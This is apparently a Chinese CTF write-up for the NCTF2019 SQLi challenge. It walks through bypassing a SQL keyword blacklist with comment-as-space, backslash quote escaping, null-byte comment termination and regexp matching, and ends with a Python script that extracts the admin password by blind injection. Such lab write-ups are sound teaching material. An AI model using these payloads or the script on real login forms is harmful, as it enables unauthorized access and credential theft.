Bootstrap

[NCTF2019]SQLi

黑盒,我先随便写了密码发现过滤了,那就扫一下

dirsearch -u http://a2160d4b-7939-4224-9baa-9d7bc56659db.node5.buuoj.cn:81/ -w /home/kali/Desktop/dirsearch/db/dicc.txt

在这里插入图片描述
在这里插入图片描述

$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";


If $_POST['passwd'] === admin's password,

Then you will get the flag;

过滤的还是挺多的我们要爆出密码来,这个东东不好整
先思考如何写注入语句

首先/**/绕过空格,然后%00当注释

随便写了一个username=1&passwd=||/**/1%00
在这里插入图片描述

这里我们使用\转义然后自己;在闭合语句

username=\&passwd=||/**/1;%00

在这里插入图片描述
我们使用正则来依次累加字符,最后拼接字符串
引号被过滤了,我们选择使用双引号来进行绕过

username=\&passwd=||/**/passwd/**/regexp/**/"^y";%00

在这里插入图片描述
我挨着试给我快按死了

username=\&passwd=||/**/passwd/**/regexp/**/"^yo";%00

在这里插入图片描述
欧克写脚本

import requests
from urllib import parse
import time

strings = 'abcdefghijklmnopqrstuvwxyz1234567890_{}-~'
# 不用大写
url = 'http://a2160d4b-7939-4224-9baa-9d7bc56659db.node5.buuoj.cn:81/'
passwd = ""
i = 0

while i < 80:
    for one_char in strings:
        data = {
            'username':'\\',# 一个斜杠不能达到效果
            'passwd':'||/**/passwd/**/regexp/**/\"^'+passwd+one_char+'\";'+parse.unquote('%00') #在python中对url进行解码
                                                   #  实现"^字符串"
        }
        rs = requests.post(url,data).content.decode('utf-8')
        # 必须把响应包解码
        time.sleep(0.01)
        if 'welcome' in rs:
            passwd += one_char
            print("\r", end="")#动态更新内容(进度条)
            print('已匹配到前'+str(i+1)+'位'+' | '+str(passwd),end='')
            i += 1
            break
        if one_char=='~' and 'welcome' not in rs:
            print('\n密码共'+str(i)+'位,已匹配完成')
            i = 80
            break

在这里插入图片描述

;